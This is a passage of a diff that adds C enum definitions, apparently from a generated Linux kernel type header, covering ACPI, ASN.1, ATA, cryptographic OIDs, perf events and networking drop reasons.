CSI_RSB_UNBLANK = 13, + CSI_RSB_VESA_OFF_INTERVAL = 14, + CSI_RSB_BRING_PREV_CONSOLE_TO_FRONT = 15, + CSI_RSB_CURSOR_BLINK_INTERVAL = 16, +}; + +enum E1000_INVM_STRUCTURE_TYPE { + E1000_INVM_UNINITIALIZED_STRUCTURE = 0, + E1000_INVM_WORD_AUTOLOAD_STRUCTURE = 1, + E1000_INVM_CSR_AUTOLOAD_STRUCTURE = 2, + E1000_INVM_PHY_REGISTER_AUTOLOAD_STRUCTURE = 3, + E1000_INVM_RSA_KEY_SHA256_STRUCTURE = 4, + E1000_INVM_INVALIDATED_STRUCTURE = 15, +}; + +enum IWL_TLC_MCS_PER_BW { + IWL_TLC_MCS_PER_BW_80 = 0, + IWL_TLC_MCS_PER_BW_160 = 1, + IWL_TLC_MCS_PER_BW_320 = 2, + IWL_TLC_MCS_PER_BW_NUM_V3 = 2, + IWL_TLC_MCS_PER_BW_NUM_V4 = 3, +}; + +enum IWL_TLC_MNG_NSS { + IWL_TLC_NSS_1 = 0, + IWL_TLC_NSS_2 = 1, + IWL_TLC_NSS_MAX = 2, +}; + +enum KTHREAD_BITS { + KTHREAD_IS_PER_CPU = 0, + KTHREAD_SHOULD_STOP = 1, + KTHREAD_SHOULD_PARK = 2, +}; + +enum OID { + OID_id_dsa_with_sha1 = 0, + OID_id_dsa = 1, + OID_id_ecPublicKey = 2, + OID_id_prime192v1 = 3, + OID_id_prime256v1 = 4, + OID_id_ecdsa_with_sha1 = 5, + OID_id_ecdsa_with_sha224 = 6, + OID_id_ecdsa_with_sha256 = 7, + OID_id_ecdsa_with_sha384 = 8, + OID_id_ecdsa_with_sha512 = 9, + OID_rsaEncryption = 10, + OID_sha1WithRSAEncryption = 11, + OID_sha256WithRSAEncryption = 12, + OID_sha384WithRSAEncryption = 13, + OID_sha512WithRSAEncryption = 14, + OID_sha224WithRSAEncryption = 15, + OID_data = 16, + OID_signed_data = 17, + OID_email_address = 18, + OID_contentType = 19, + OID_messageDigest = 20, + OID_signingTime = 21, + OID_smimeCapabilites = 22, + OID_smimeAuthenticatedAttrs = 23, + OID_mskrb5 = 24, + OID_krb5 = 25, + OID_krb5u2u = 26, + OID_msIndirectData = 27, + OID_msStatementType = 28, + OID_msSpOpusInfo = 29, + OID_msPeImageDataObjId = 30, + OID_msIndividualSPKeyPurpose = 31, + OID_msOutlookExpress = 32, + OID_ntlmssp = 33, + OID_negoex = 34, + OID_spnego = 35, + OID_IAKerb = 36, + OID_PKU2U = 37, + OID_Scram = 38, + OID_certAuthInfoAccess = 39, + OID_sha1 = 40, + OID_id_ansip384r1 = 41, + OID_id_ansip521r1 = 42, + OID_sha256 = 43, + OID_sha384 = 44, + OID_sha512 = 45, + OID_sha224 = 46, + OID_commonName = 47, + OID_surname = 48, + OID_countryName = 49, + OID_locality = 50, + OID_stateOrProvinceName = 51, + OID_organizationName = 52, + OID_organizationUnitName = 53, + OID_title = 54, + OID_description = 55, + OID_name = 56, + OID_givenName = 57, + OID_initials = 58, + OID_generationalQualifier = 59, + OID_subjectKeyIdentifier = 60, + OID_keyUsage = 61, + OID_subjectAltName = 62, + OID_issuerAltName = 63, + OID_basicConstraints = 64, + OID_crlDistributionPoints = 65, + OID_certPolicies = 66, + OID_authorityKeyIdentifier = 67, + OID_extKeyUsage = 68, + OID_NetlogonMechanism = 69, + OID_appleLocalKdcSupported = 70, + OID_gostCPSignA = 71, + OID_gostCPSignB = 72, + OID_gostCPSignC = 73, + OID_gost2012PKey256 = 74, + OID_gost2012PKey512 = 75, + OID_gost2012Digest256 = 76, + OID_gost2012Digest512 = 77, + OID_gost2012Signature256 = 78, + OID_gost2012Signature512 = 79, + OID_gostTC26Sign256A = 80, + OID_gostTC26Sign256B = 81, + OID_gostTC26Sign256C = 82, + OID_gostTC26Sign256D = 83, + OID_gostTC26Sign512A = 84, + OID_gostTC26Sign512B = 85, + OID_gostTC26Sign512C = 86, + OID_sm2 = 87, + OID_sm3 = 88, + OID_SM2_with_SM3 = 89, + OID_sm3WithRSAEncryption = 90, + OID_TPMLoadableKey = 91, + OID_TPMImportableKey = 92, + OID_TPMSealedData = 93, + OID_sha3_256 = 94, + OID_sha3_384 = 95, + OID_sha3_512 = 96, + OID_id_ecdsa_with_sha3_256 = 97, + OID_id_ecdsa_with_sha3_384 = 98, + OID_id_ecdsa_with_sha3_512 = 99, + OID_id_rsassa_pkcs1_v1_5_with_sha3_256 = 100, + OID_id_rsassa_pkcs1_v1_5_with_sha3_384 = 101, + OID_id_rsassa_pkcs1_v1_5_with_sha3_512 = 102, + OID__NR = 103, +}; + +enum P4_EVENTS { + P4_EVENT_TC_DELIVER_MODE = 0, + P4_EVENT_BPU_FETCH_REQUEST = 1, + P4_EVENT_ITLB_REFERENCE = 2, + P4_EVENT_MEMORY_CANCEL = 3, + P4_EVENT_MEMORY_COMPLETE = 4, + P4_EVENT_LOAD_PORT_REPLAY = 5, + P4_EVENT_STORE_PORT_REPLAY = 6, + P4_EVENT_MOB_LOAD_REPLAY = 7, + P4_EVENT_PAGE_WALK_TYPE = 8, + P4_EVENT_BSQ_CACHE_REFERENCE = 9, + P4_EVENT_IOQ_ALLOCATION = 10, + P4_EVENT_IOQ_ACTIVE_ENTRIES = 11, + P4_EVENT_FSB_DATA_ACTIVITY = 12, + P4_EVENT_BSQ_ALLOCATION = 13, + P4_EVENT_BSQ_ACTIVE_ENTRIES = 14, + P4_EVENT_SSE_INPUT_ASSIST = 15, + P4_EVENT_PACKED_SP_UOP = 16, + P4_EVENT_PACKED_DP_UOP = 17, + P4_EVENT_SCALAR_SP_UOP = 18, + P4_EVENT_SCALAR_DP_UOP = 19, + P4_EVENT_64BIT_MMX_UOP = 20, + P4_EVENT_128BIT_MMX_UOP = 21, + P4_EVENT_X87_FP_UOP = 22, + P4_EVENT_TC_MISC = 23, + P4_EVENT_GLOBAL_POWER_EVENTS = 24, + P4_EVENT_TC_MS_XFER = 25, + P4_EVENT_UOP_QUEUE_WRITES = 26, + P4_EVENT_RETIRED_MISPRED_BRANCH_TYPE = 27, + P4_EVENT_RETIRED_BRANCH_TYPE = 28, + P4_EVENT_RESOURCE_STALL = 29, + P4_EVENT_WC_BUFFER = 30, + P4_EVENT_B2B_CYCLES = 31, + P4_EVENT_BNR = 32, + P4_EVENT_SNOOP = 33, + P4_EVENT_RESPONSE = 34, + P4_EVENT_FRONT_END_EVENT = 35, + P4_EVENT_EXECUTION_EVENT = 36, + P4_EVENT_REPLAY_EVENT = 37, + P4_EVENT_INSTR_RETIRED = 38, + P4_EVENT_UOPS_RETIRED = 39, + P4_EVENT_UOP_TYPE = 40, + P4_EVENT_BRANCH_RETIRED = 41, + P4_EVENT_MISPRED_BRANCH_RETIRED = 42, + P4_EVENT_X87_ASSIST = 43, + P4_EVENT_MACHINE_CLEAR = 44, + P4_EVENT_INSTR_COMPLETED = 45, +}; + +enum P4_PEBS_METRIC { + P4_PEBS_METRIC__none = 0, + P4_PEBS_METRIC__1stl_cache_load_miss_retired = 1, + P4_PEBS_METRIC__2ndl_cache_load_miss_retired = 2, + P4_PEBS_METRIC__dtlb_load_miss_retired = 3, + P4_PEBS_METRIC__dtlb_store_miss_retired = 4, + P4_PEBS_METRIC__dtlb_all_miss_retired = 5, + P4_PEBS_METRIC__tagged_mispred_branch = 6, + P4_PEBS_METRIC__mob_load_replay_retired = 7, + P4_PEBS_METRIC__split_load_retired = 8, + P4_PEBS_METRIC__split_store_retired = 9, + P4_PEBS_METRIC__max = 10, +}; + +enum SHIFT_DIRECTION { + SHIFT_LEFT = 0, + SHIFT_RIGHT = 1, +}; + +enum ___mac80211_drop_reason { + ___RX_CONTINUE = 1, + ___RX_QUEUED = 0, + ___RX_DROP_MONITOR = 131072, + ___RX_DROP_M_UNEXPECTED_4ADDR_FRAME = 131073, + ___RX_DROP_M_BAD_BCN_KEYIDX = 131074, + ___RX_DROP_M_BAD_MGMT_KEYIDX = 131075, + ___RX_DROP_UNUSABLE = 65536, + ___RX_DROP_U_MIC_FAIL = 65537, + ___RX_DROP_U_REPLAY = 65538, + ___RX_DROP_U_BAD_MMIE = 65539, + ___RX_DROP_U_DUP = 65540, + ___RX_DROP_U_SPURIOUS = 65541, + ___RX_DROP_U_DECRYPT_FAIL = 65542, + ___RX_DROP_U_NO_KEY_ID = 65543, + ___RX_DROP_U_BAD_CIPHER = 65544, + ___RX_DROP_U_OOM = 65545, + ___RX_DROP_U_NONSEQ_PN = 65546, + ___RX_DROP_U_BAD_KEY_COLOR = 65547, + ___RX_DROP_U_BAD_4ADDR = 65548, + ___RX_DROP_U_BAD_AMSDU = 65549, + ___RX_DROP_U_BAD_AMSDU_CIPHER = 65550, + ___RX_DROP_U_INVALID_8023 = 65551, + ___RX_DROP_U_RUNT_ACTION = 65552, + ___RX_DROP_U_UNPROT_ACTION = 65553, + ___RX_DROP_U_UNPROT_DUAL = 65554, + ___RX_DROP_U_UNPROT_UCAST_MGMT = 65555, + ___RX_DROP_U_UNPROT_MCAST_MGMT = 65556, + ___RX_DROP_U_UNPROT_BEACON = 65557, + ___RX_DROP_U_UNPROT_UNICAST_PUB_ACTION = 65558, + ___RX_DROP_U_UNPROT_ROBUST_ACTION = 65559, + ___RX_DROP_U_ACTION_UNKNOWN_SRC = 65560, + ___RX_DROP_U_REJECTED_ACTION_RESPONSE = 65561, + ___RX_DROP_U_EXPECT_DEFRAG_PROT = 65562, + ___RX_DROP_U_WEP_DEC_FAIL = 65563, + ___RX_DROP_U_NO_IV = 65564, + ___RX_DROP_U_NO_ICV = 65565, + ___RX_DROP_U_AP_RX_GROUPCAST = 65566, + ___RX_DROP_U_SHORT_MMIC = 65567, + ___RX_DROP_U_MMIC_FAIL = 65568, + ___RX_DROP_U_SHORT_TKIP = 65569, + ___RX_DROP_U_TKIP_FAIL = 65570, + ___RX_DROP_U_SHORT_CCMP = 65571, + ___RX_DROP_U_SHORT_CCMP_MIC = 65572, + ___RX_DROP_U_SHORT_GCMP = 65573, + ___RX_DROP_U_SHORT_GCMP_MIC = 65574, + ___RX_DROP_U_SHORT_CMAC = 65575, + ___RX_DROP_U_SHORT_CMAC256 = 65576, + ___RX_DROP_U_SHORT_GMAC = 65577, + ___RX_DROP_U_UNEXPECTED_VLAN_4ADDR = 65578, + ___RX_DROP_U_UNEXPECTED_STA_4ADDR = 65579, + ___RX_DROP_U_UNEXPECTED_VLAN_MCAST = 65580, + ___RX_DROP_U_NOT_PORT_CONTROL = 65581, + ___RX_DROP_U_UNKNOWN_ACTION_REJECTED = 65582, +}; + +enum __sk_action { + __SK_DROP = 0, + __SK_PASS = 1, + __SK_REDIRECT = 2, + __SK_NONE = 3, +}; + +enum _cache_type { + CTYPE_NULL = 0, + CTYPE_DATA = 1, + CTYPE_INST = 2, + CTYPE_UNIFIED = 3, +}; + +enum _slab_flag_bits { + _SLAB_CONSISTENCY_CHECKS = 0, + _SLAB_RED_ZONE = 1, + _SLAB_POISON = 2, + _SLAB_KMALLOC = 3, + _SLAB_HWCACHE_ALIGN = 4, + _SLAB_CACHE_DMA = 5, + _SLAB_CACHE_DMA32 = 6, + _SLAB_STORE_USER = 7, + _SLAB_PANIC = 8, + _SLAB_TYPESAFE_BY_RCU = 9, + _SLAB_TRACE = 10, + _SLAB_NOLEAKTRACE = 11, + _SLAB_NO_MERGE = 12, + _SLAB_ACCOUNT = 13, + _SLAB_NO_USER_FLAGS = 14, + _SLAB_RECLAIM_ACCOUNT = 15, + _SLAB_OBJECT_POISON = 16, + _SLAB_CMPXCHG_DOUBLE = 17, + _SLAB_NO_OBJ_EXT = 18, + _SLAB_FLAGS_LAST_BIT = 19, +}; + +enum access_coordinate_class { + ACCESS_COORDINATE_LOCAL = 0, + ACCESS_COORDINATE_CPU = 1, + ACCESS_COORDINATE_MAX = 2, +}; + +enum acpi_attr_enum { + ACPI_ATTR_LABEL_SHOW = 0, + ACPI_ATTR_INDEX_SHOW = 1, +}; + +enum acpi_bridge_type { + ACPI_BRIDGE_TYPE_PCIE = 1, + ACPI_BRIDGE_TYPE_CXL = 2, +}; + +enum acpi_bus_device_type { + ACPI_BUS_TYPE_DEVICE = 0, + ACPI_BUS_TYPE_POWER = 1, + ACPI_BUS_TYPE_PROCESSOR = 2, + ACPI_BUS_TYPE_THERMAL = 3, + ACPI_BUS_TYPE_POWER_BUTTON = 4, + ACPI_BUS_TYPE_SLEEP_BUTTON = 5, + ACPI_BUS_TYPE_ECDT_EC = 6, + ACPI_BUS_DEVICE_TYPE_COUNT = 7, +}; + +enum acpi_cdat_type { + ACPI_CDAT_TYPE_DSMAS = 0, + ACPI_CDAT_TYPE_DSLBIS = 1, + ACPI_CDAT_TYPE_DSMSCIS = 2, + ACPI_CDAT_TYPE_DSIS = 3, + ACPI_CDAT_TYPE_DSEMTS = 4, + ACPI_CDAT_TYPE_SSLBIS = 5, + ACPI_CDAT_TYPE_RESERVED = 6, +}; + +enum acpi_cedt_type { + ACPI_CEDT_TYPE_CHBS = 0, + ACPI_CEDT_TYPE_CFMWS = 1, + ACPI_CEDT_TYPE_CXIMS = 2, + ACPI_CEDT_TYPE_RDPAS = 3, + ACPI_CEDT_TYPE_RESERVED = 4, +}; + +enum acpi_device_swnode_dev_props { + ACPI_DEVICE_SWNODE_DEV_ROTATION = 0, + ACPI_DEVICE_SWNODE_DEV_CLOCK_FREQUENCY = 1, + ACPI_DEVICE_SWNODE_DEV_LED_MAX_MICROAMP = 2, + ACPI_DEVICE_SWNODE_DEV_FLASH_MAX_MICROAMP = 3, + ACPI_DEVICE_SWNODE_DEV_FLASH_MAX_TIMEOUT_US = 4, + ACPI_DEVICE_SWNODE_DEV_NUM_OF = 5, + ACPI_DEVICE_SWNODE_DEV_NUM_ENTRIES = 6, +}; + +enum acpi_device_swnode_ep_props { + ACPI_DEVICE_SWNODE_EP_REMOTE_EP = 0, + ACPI_DEVICE_SWNODE_EP_BUS_TYPE = 1, + ACPI_DEVICE_SWNODE_EP_REG = 2, + ACPI_DEVICE_SWNODE_EP_CLOCK_LANES = 3, + ACPI_DEVICE_SWNODE_EP_DATA_LANES = 4, + ACPI_DEVICE_SWNODE_EP_LANE_POLARITIES = 5, + ACPI_DEVICE_SWNODE_EP_LINK_FREQUENCIES = 6, + ACPI_DEVICE_SWNODE_EP_NUM_OF = 7, + ACPI_DEVICE_SWNODE_EP_NUM_ENTRIES = 8, +}; + +enum acpi_device_swnode_port_props { + ACPI_DEVICE_SWNODE_PORT_REG = 0, + ACPI_DEVICE_SWNODE_PORT_NUM_OF = 1, + ACPI_DEVICE_SWNODE_PORT_NUM_ENTRIES = 2, +}; + +enum acpi_ec_event_state { + EC_EVENT_READY = 0, + EC_EVENT_IN_PROGRESS = 1, + EC_EVENT_COMPLETE = 2, +}; + +enum acpi_irq_model_id { + ACPI_IRQ_MODEL_PIC = 0, + ACPI_IRQ_MODEL_IOAPIC = 1, + ACPI_IRQ_MODEL_IOSAPIC = 2, + ACPI_IRQ_MODEL_PLATFORM = 3, + ACPI_IRQ_MODEL_GIC = 4, + ACPI_IRQ_MODEL_LPIC = 5, + ACPI_IRQ_MODEL_RINTC = 6, + ACPI_IRQ_MODEL_COUNT = 7, +}; + +enum acpi_madt_multiproc_wakeup_version { + ACPI_MADT_MP_WAKEUP_VERSION_NONE = 0, + ACPI_MADT_MP_WAKEUP_VERSION_V1 = 1, + ACPI_MADT_MP_WAKEUP_VERSION_RESERVED = 2, +}; + +enum acpi_madt_type { + ACPI_MADT_TYPE_LOCAL_APIC = 0, + ACPI_MADT_TYPE_IO_APIC = 1, + ACPI_MADT_TYPE_INTERRUPT_OVERRIDE = 2, + ACPI_MADT_TYPE_NMI_SOURCE = 3, + ACPI_MADT_TYPE_LOCAL_APIC_NMI = 4, + ACPI_MADT_TYPE_LOCAL_APIC_OVERRIDE = 5, + ACPI_MADT_TYPE_IO_SAPIC = 6, + ACPI_MADT_TYPE_LOCAL_SAPIC = 7, + ACPI_MADT_TYPE_INTERRUPT_SOURCE = 8, + ACPI_MADT_TYPE_LOCAL_X2APIC = 9, + ACPI_MADT_TYPE_LOCAL_X2APIC_NMI = 10, + ACPI_MADT_TYPE_GENERIC_INTERRUPT = 11, + ACPI_MADT_TYPE_GENERIC_DISTRIBUTOR = 12, + ACPI_MADT_TYPE_GENERIC_MSI_FRAME = 13, + ACPI_MADT_TYPE_GENERIC_REDISTRIBUTOR = 14, + ACPI_MADT_TYPE_GENERIC_TRANSLATOR = 15, + ACPI_MADT_TYPE_MULTIPROC_WAKEUP = 16, + ACPI_MADT_TYPE_CORE_PIC = 17, + ACPI_MADT_TYPE_LIO_PIC = 18, + ACPI_MADT_TYPE_HT_PIC = 19, + ACPI_MADT_TYPE_EIO_PIC = 20, + ACPI_MADT_TYPE_MSI_PIC = 21, + ACPI_MADT_TYPE_BIO_PIC = 22, + ACPI_MADT_TYPE_LPC_PIC = 23, + ACPI_MADT_TYPE_RINTC = 24, + ACPI_MADT_TYPE_IMSIC = 25, + ACPI_MADT_TYPE_APLIC = 26, + ACPI_MADT_TYPE_PLIC = 27, + ACPI_MADT_TYPE_RESERVED = 28, + ACPI_MADT_TYPE_OEM_RESERVED = 128, +}; + +enum acpi_pcct_type { + ACPI_PCCT_TYPE_GENERIC_SUBSPACE = 0, + ACPI_PCCT_TYPE_HW_REDUCED_SUBSPACE = 1, + ACPI_PCCT_TYPE_HW_REDUCED_SUBSPACE_TYPE2 = 2, + ACPI_PCCT_TYPE_EXT_PCC_MASTER_SUBSPACE = 3, + ACPI_PCCT_TYPE_EXT_PCC_SLAVE_SUBSPACE = 4, + ACPI_PCCT_TYPE_HW_REG_COMM_SUBSPACE = 5, + ACPI_PCCT_TYPE_RESERVED = 6, +}; + +enum acpi_predicate { + all_versions = 0, + less_than_or_equal = 1, + equal = 2, + greater_than_or_equal = 3, +}; + +enum acpi_preferred_pm_profiles { + PM_UNSPECIFIED = 0, + PM_DESKTOP = 1, + PM_MOBILE = 2, + PM_WORKSTATION = 3, + PM_ENTERPRISE_SERVER = 4, + PM_SOHO_SERVER = 5, + PM_APPLIANCE_PC = 6, + PM_PERFORMANCE_SERVER = 7, + PM_TABLET = 8, + NR_PM_PROFILES = 9, +}; + +enum acpi_reconfig_event { + ACPI_RECONFIG_DEVICE_ADD = 0, + ACPI_RECONFIG_DEVICE_REMOVE = 1, +}; + +enum acpi_return_package_types { + ACPI_PTYPE1_FIXED = 1, + ACPI_PTYPE1_VAR = 2, + ACPI_PTYPE1_OPTION = 3, + ACPI_PTYPE2 = 4, + ACPI_PTYPE2_COUNT = 5, + ACPI_PTYPE2_PKG_COUNT = 6, + ACPI_PTYPE2_FIXED = 7, + ACPI_PTYPE2_MIN = 8, + ACPI_PTYPE2_REV_FIXED = 9, + ACPI_PTYPE2_FIX_VAR = 10, + ACPI_PTYPE2_VAR_VAR = 11, + ACPI_PTYPE2_UUID_PAIR = 12, + ACPI_PTYPE_CUSTOM = 13, +}; + +enum acpi_srat_type { + ACPI_SRAT_TYPE_CPU_AFFINITY = 0, + ACPI_SRAT_TYPE_MEMORY_AFFINITY = 1, + ACPI_SRAT_TYPE_X2APIC_CPU_AFFINITY = 2, + ACPI_SRAT_TYPE_GICC_AFFINITY = 3, + ACPI_SRAT_TYPE_GIC_ITS_AFFINITY = 4, + ACPI_SRAT_TYPE_GENERIC_AFFINITY = 5, + ACPI_SRAT_TYPE_GENERIC_PORT_AFFINITY = 6, + ACPI_SRAT_TYPE_RINTC_AFFINITY = 7, + ACPI_SRAT_TYPE_RESERVED = 8, +}; + +enum acpi_subtable_type { + ACPI_SUBTABLE_COMMON = 0, + ACPI_SUBTABLE_HMAT = 1, + ACPI_SUBTABLE_PRMT = 2, + ACPI_SUBTABLE_CEDT = 3, + CDAT_SUBTABLE = 4, +}; + +enum action_id { + ACTION_SAVE = 1, + ACTION_TRACE = 2, + ACTION_SNAPSHOT = 3, +}; + +enum actions { + REGISTER = 0, + DEREGISTER = 1, + CPU_DONT_CARE = 2, +}; + +enum addr_type_t { + UNICAST_ADDR = 0, + MULTICAST_ADDR = 1, + ANYCAST_ADDR = 2, +}; + +enum alarmtimer_restart { + ALARMTIMER_NORESTART = 0, + ALARMTIMER_RESTART = 1, +}; + +enum alarmtimer_type { + ALARM_REALTIME = 0, + ALARM_BOOTTIME = 1, + ALARM_NUMTYPE = 2, + ALARM_REALTIME_FREEZER = 3, + ALARM_BOOTTIME_FREEZER = 4, +}; + +enum align_flags { + ALIGN_VA_32 = 1, + ALIGN_VA_64 = 2, +}; + +enum allow_write_msrs { + MSR_WRITES_ON = 0, + MSR_WRITES_OFF = 1, + MSR_WRITES_DEFAULT = 2, +}; + +enum amd_chipset_gen { + NOT_AMD_CHIPSET = 0, + AMD_CHIPSET_SB600 = 1, + AMD_CHIPSET_SB700 = 2, + AMD_CHIPSET_SB800 = 3, + AMD_CHIPSET_HUDSON2 = 4, + AMD_CHIPSET_BOLTON = 5, + AMD_CHIPSET_YANGTZE = 6, + AMD_CHIPSET_TAISHAN = 7, + AMD_CHIPSET_UNKNOWN = 8, +}; + +enum amd_pref_core { + AMD_PREF_CORE_UNKNOWN = 0, + AMD_PREF_CORE_SUPPORTED = 1, + AMD_PREF_CORE_UNSUPPORTED = 2, +}; + +enum amd_pstate_mode { + AMD_PSTATE_UNDEFINED = 0, + AMD_PSTATE_DISABLE = 1, + AMD_PSTATE_PASSIVE = 2, + AMD_PSTATE_ACTIVE = 3, + AMD_PSTATE_GUIDED = 4, + AMD_PSTATE_MAX = 5, +}; + +enum antenna { + ANTENNA_SW_DIVERSITY = 0, + ANTENNA_A = 1, + ANTENNA_B = 2, + ANTENNA_HW_DIVERSITY = 3, +}; + +enum apic_intr_mode_id { + APIC_PIC = 0, + APIC_VIRTUAL_WIRE = 1, + APIC_VIRTUAL_WIRE_NO_CONFIG = 2, + APIC_SYMMETRIC_IO = 3, + APIC_SYMMETRIC_IO_NO_ROUTING = 4, +}; + +enum array_state { + clear = 0, + inactive = 1, + suspended = 2, + readonly = 3, + read_auto = 4, + clean = 5, + active = 6, + write_pending = 7, + active_idle = 8, + broken = 9, + bad_word = 10, +}; + +enum asn1_class { + ASN1_UNIV = 0, + ASN1_APPL = 1, + ASN1_CONT = 2, + ASN1_PRIV = 3, +}; + +enum asn1_method { + ASN1_PRIM = 0, + ASN1_CONS = 1, +}; + +enum asn1_opcode { + ASN1_OP_MATCH = 0, + ASN1_OP_MATCH_OR_SKIP = 1, + ASN1_OP_MATCH_ACT = 2, + ASN1_OP_MATCH_ACT_OR_SKIP = 3, + ASN1_OP_MATCH_JUMP = 4, + ASN1_OP_MATCH_JUMP_OR_SKIP = 5, + ASN1_OP_MATCH_ANY = 8, + ASN1_OP_MATCH_ANY_OR_SKIP = 9, + ASN1_OP_MATCH_ANY_ACT = 10, + ASN1_OP_MATCH_ANY_ACT_OR_SKIP = 11, + ASN1_OP_COND_MATCH_OR_SKIP = 17, + ASN1_OP_COND_MATCH_ACT_OR_SKIP = 19, + ASN1_OP_COND_MATCH_JUMP_OR_SKIP = 21, + ASN1_OP_COND_MATCH_ANY = 24, + ASN1_OP_COND_MATCH_ANY_OR_SKIP = 25, + ASN1_OP_COND_MATCH_ANY_ACT = 26, + ASN1_OP_COND_MATCH_ANY_ACT_OR_SKIP = 27, + ASN1_OP_COND_FAIL = 28, + ASN1_OP_COMPLETE = 29, + ASN1_OP_ACT = 30, + ASN1_OP_MAYBE_ACT = 31, + ASN1_OP_END_SEQ = 32, + ASN1_OP_END_SET = 33, + ASN1_OP_END_SEQ_OF = 34, + ASN1_OP_END_SET_OF = 35, + ASN1_OP_END_SEQ_ACT = 36, + ASN1_OP_END_SET_ACT = 37, + ASN1_OP_END_SEQ_OF_ACT = 38, + ASN1_OP_END_SET_OF_ACT = 39, + ASN1_OP_RETURN = 40, + ASN1_OP__NR = 41, +}; + +enum asn1_tag { + ASN1_EOC = 0, + ASN1_BOOL = 1, + ASN1_INT = 2, + ASN1_BTS = 3, + ASN1_OTS = 4, + ASN1_NULL = 5, + ASN1_OID = 6, + ASN1_ODE = 7, + ASN1_EXT = 8, + ASN1_REAL = 9, + ASN1_ENUM = 10, + ASN1_EPDV = 11, + ASN1_UTF8STR = 12, + ASN1_RELOID = 13, + ASN1_SEQ = 16, + ASN1_SET = 17, + ASN1_NUMSTR = 18, + ASN1_PRNSTR = 19, + ASN1_TEXSTR = 20, + ASN1_VIDSTR = 21, + ASN1_IA5STR = 22, + ASN1_UNITIM = 23, + ASN1_GENTIM = 24, + ASN1_GRASTR = 25, + ASN1_VISSTR = 26, + ASN1_GENSTR = 27, + ASN1_UNISTR = 28, + ASN1_CHRSTR = 29, + ASN1_BMPSTR = 30, + ASN1_LONG_TAG = 31, +}; + +enum assoc_array_walk_status { + assoc_array_walk_tree_empty = 0, + assoc_array_walk_found_terminal_node = 1, + assoc_array_walk_found_wrong_shortcut = 2, +}; + +enum assoc_status { + ASSOC_SUCCESS = 0, + ASSOC_REJECTED = 1, + ASSOC_TIMEOUT = 2, + ASSOC_ABANDON = 3, +}; + +enum asymmetric_payload_bits { + asym_crypto = 0, + asym_subtype = 1, + asym_key_ids = 2, + asym_auth = 3, +}; + +enum async_tx_flags { + ASYNC_TX_XOR_ZERO_DST = 1, + ASYNC_TX_XOR_DROP_DST = 2, + ASYNC_TX_ACK = 4, + ASYNC_TX_FENCE = 8, + ASYNC_TX_PQ_XOR_DST = 16, +}; + +enum ata_completion_errors { + AC_ERR_OK = 0, + AC_ERR_DEV = 1, + AC_ERR_HSM = 2, + AC_ERR_TIMEOUT = 4, + AC_ERR_MEDIA = 8, + AC_ERR_ATA_BUS = 16, + AC_ERR_HOST_BUS = 32, + AC_ERR_SYSTEM = 64, + AC_ERR_INVALID = 128, + AC_ERR_OTHER = 256, + AC_ERR_NODEV_HINT = 512, + AC_ERR_NCQ = 1024, +}; + +enum ata_dev_iter_mode { + ATA_DITER_ENABLED = 0, + ATA_DITER_ENABLED_REVERSE = 1, + ATA_DITER_ALL = 2, + ATA_DITER_ALL_REVERSE = 3, +}; + +enum ata_link_iter_mode { + ATA_LITER_EDGE = 0, + ATA_LITER_HOST_FIRST = 1, + ATA_LITER_PMP_FIRST = 2, +}; + +enum ata_lpm_hints { + ATA_LPM_EMPTY = 1, + ATA_LPM_HIPM = 2, + ATA_LPM_WAKE_ONLY = 4, +}; + +enum ata_lpm_policy { + ATA_LPM_UNKNOWN = 0, + ATA_LPM_MAX_POWER = 1, + ATA_LPM_MED_POWER = 2, + ATA_LPM_MED_POWER_WITH_DIPM = 3, + ATA_LPM_MIN_POWER_WITH_PARTIAL = 4, + ATA_LPM_MIN_POWER = 5, +}; + +enum ata_prot_flags { + ATA_PROT_FLAG_PIO = 1, + ATA_PROT_FLAG_DMA = 2, + ATA_PROT_FLAG_NCQ = 4, + ATA_PROT_FLAG_ATAPI = 8, + ATA_PROT_UNKNOWN = 255, + ATA_PROT_NODATA = 0, + ATA_PROT_PIO = 1, + ATA_PROT_DMA = 2, + ATA_PROT_NCQ_NODATA = 4, + ATA_PROT_NCQ = 6, + ATAPI_PROT_NODATA = 8, + ATAPI_PROT_PIO = 9, + ATAPI_PROT_DMA = 10, +}; + +enum ata_xfer_mask { + ATA_MASK_PIO = 127, + ATA_MASK_MWDMA = 3968, + ATA_MASK_UDMA = 1044480, +}; + +enum audit_nfcfgop { + AUDIT_XT_OP_REGISTER = 0, + AUDIT_XT_OP_REPLACE = 1, + AUDIT_XT_OP_UNREGISTER = 2, + AUDIT_NFT_OP_TABLE_REGISTER = 3, + AUDIT_NFT_OP_TABLE_UNREGISTER = 4, + AUDIT_NFT_OP_CHAIN_REGISTER = 5, + AUDIT_NFT_OP_CHAIN_UNREGISTER = 6, + AUDIT_NFT_OP_RULE_REGISTER = 7, + AUDIT_NFT_OP_RULE_UNREGISTER = 8, + AUDIT_NFT_OP_SET_REGISTER = 9, + AUDIT_NFT_OP_SET_UNREGISTER = 10, + AUDIT_NFT_OP_SETELEM_REGISTER = 11, + AUDIT_NFT_OP_SETELEM_UNREGISTER = 12, + AUDIT_NFT_OP_GEN_REGISTER = 13, + AUDIT_NFT_OP_OBJ_REGISTER = 14, + AUDIT_NFT_OP_OBJ_UNREGISTER = 15, + AUDIT_NFT_OP_OBJ_RESET = 16, + AUDIT_NFT_OP_FLOWTABLE_REGISTER = 17, + AUDIT_NFT_OP_FLOWTABLE_UNREGISTER = 18, + AUDIT_NFT_OP_SETELEM_RESET = 19, + AUDIT_NFT_OP_RULE_RESET = 20, + AUDIT_NFT_OP_INVALID = 21, +}; + +enum audit_ntp_type { + AUDIT_NTP_OFFSET = 0, + AUDIT_NTP_FREQ = 1, + AUDIT_NTP_STATUS = 2, + AUDIT_NTP_TAI = 3, + AUDIT_NTP_TICK = 4, + AUDIT_NTP_ADJUST = 5, + AUDIT_NTP_NVALS = 6, +}; + +enum autofs_notify { + NFY_NONE = 0, + NFY_MOUNT = 1, + NFY_EXPIRE = 2, +}; + +enum backlight_notification { + BACKLIGHT_REGISTERED = 0, + BACKLIGHT_UNREGISTERED = 1, +}; + +enum backlight_scale { + BACKLIGHT_SCALE_UNKNOWN = 0, + BACKLIGHT_SCALE_LINEAR = 1, + BACKLIGHT_SCALE_NON_LINEAR = 2, +}; + +enum backlight_type { + BACKLIGHT_RAW = 1, + BACKLIGHT_PLATFORM = 2, + BACKLIGHT_FIRMWARE = 3, + BACKLIGHT_TYPE_MAX = 4, +}; + +enum backlight_update_reason { + BACKLIGHT_UPDATE_HOTKEY = 0, + BACKLIGHT_UPDATE_SYSFS = 1, +}; + +enum batadv_packettype { + BATADV_IV_OGM = 0, + BATADV_BCAST = 1, + 